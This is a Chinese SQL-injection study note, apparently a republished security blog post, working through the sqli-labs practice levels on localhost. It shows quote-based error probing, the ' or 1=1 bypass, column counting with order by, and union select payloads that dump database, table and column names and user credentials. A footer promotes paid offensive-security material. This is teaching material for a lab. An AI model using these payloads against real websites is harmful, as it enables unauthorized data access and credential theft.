sqli学习笔记-02
2023-2-8 21:45:13 Author: 渗透安全团队(查看原文) 阅读量:15 收藏

sqli学习笔记-02

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

正文

在http://localhost:8888/Less-5/?id=1后面直接添加一个 ‘ ,来看一下效果:

报错信息为: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB/MySql server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

这里大胆推测一下,源代码应该是类似于 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

这里稍微解释一下这段sql的大体逻辑:查询一个名为 "users" 的数据表。具体地,它是选择该表中所有的列(用 "SELECT *" 表示),并在 WHERE 子句中指定 "id" 列的值为变量 "$id"。最后,使用 "LIMIT 0,1" 子句限制只返回一行数据。

从上述错误当中,我们可以看到提交到 sql 中的 1’在经过 sql 语句构造后形成 '1'' LIMIT 0,1(正常情况下为: '1' LIMIT 0,1), 多加了一个  。这种方式就是从错误信息中得到我们所需要的信息,那我们接下来想如何 将多余的 ‘ 去掉呢?

尝试 ‘or 1=1--+

可以看到正常返回数据。

此处可以利用 order by。Order by 对前面的数据进行排序,这里有三列数据,我们就只能用 order by 3,超过 3 就会报错。 ‘order by 4--+(这里的列数是可以试出来的)的结果显示结果超出。

最后从源代码中分析下为什么会造成注入?

Sql 语句为$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

Id 参数在拼接 sql 语句时,未对 id 进行任何的过滤等操作,所以当提交 ‘or 1=1--+,直接构 造的 sql 语句就是: SELECT * FROM users WHERE id=’1’or 1=1--+ LIMIT 0,1

这条语句因 or 1=1 所以为永恒真。

此外,此处介绍 union 联合注入,union 的作用是将两个 sql 语句进行联合。Union 可以从 下面的例子中可以看出,强调一点:union 前后的两个 sql 语句的选择列数要相同才可以。U nion all与union的区别是增加了去重的功能。我们这里根据上述background的知识,进行 information_schema 知识的应用。

http://localhost:8888/Less-1/?id=-1'union select 1,2,3 --+

当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时, 当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返 回了我们构造的 union 的数据。

爆数据库

http://127.0.0.1/Less-1/?id=-1%27union%20select%201,group_concat(schema_name),3% 20from%20information_schema.schemata--+

此时的sql语句为SELECT * FROM users WHERE id='-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1

爆 security 数据库的数据表(localhost也可以写为127.0.0.1)

http://localhost:8888/Less-1/?id=-1%27union%20select%201,group_concat(table_name),3%20f rom%20information_schema.tables%20where%20table_schema=%27security%27--+

此时的sql语句为SELECT * FROM users WHERE id=’-1’union select 1,group_concat(table_n ame),3 from information_schema.tables where table_schema=’security’--+ LIMIT 0,1

爆users表的列

http://127.0.0.1/Less-1/?id=-1%27union%20select%201,group_concat(column_name),3%2 0from%20information_schema.columns%20where%20table_name=%27users%27--+

此时的sql语句为SELECT * FROM users WHERE id=’-1’union select 1,username,password f rom users where id=2--+ LIMIT 0,1

Less1-less4 都可以利用上述 union 操作进行注入


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

关 注 有 礼

关注下方公众号回复“666”可以领取一套精品渗透测试工具集和百度云视频链接。

 还在等什么?赶紧点击下方名片关注学习吧!


群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247497530&idx=2&sn=68080ebafa1b96e98cdc1d224ab8ef52&chksm=c1760a95f6018383af962f322af41cdb25c1c51ace187a63950678666a88fe30c9d199d6ae11#rd
如有侵权请联系:admin#unsafe.sh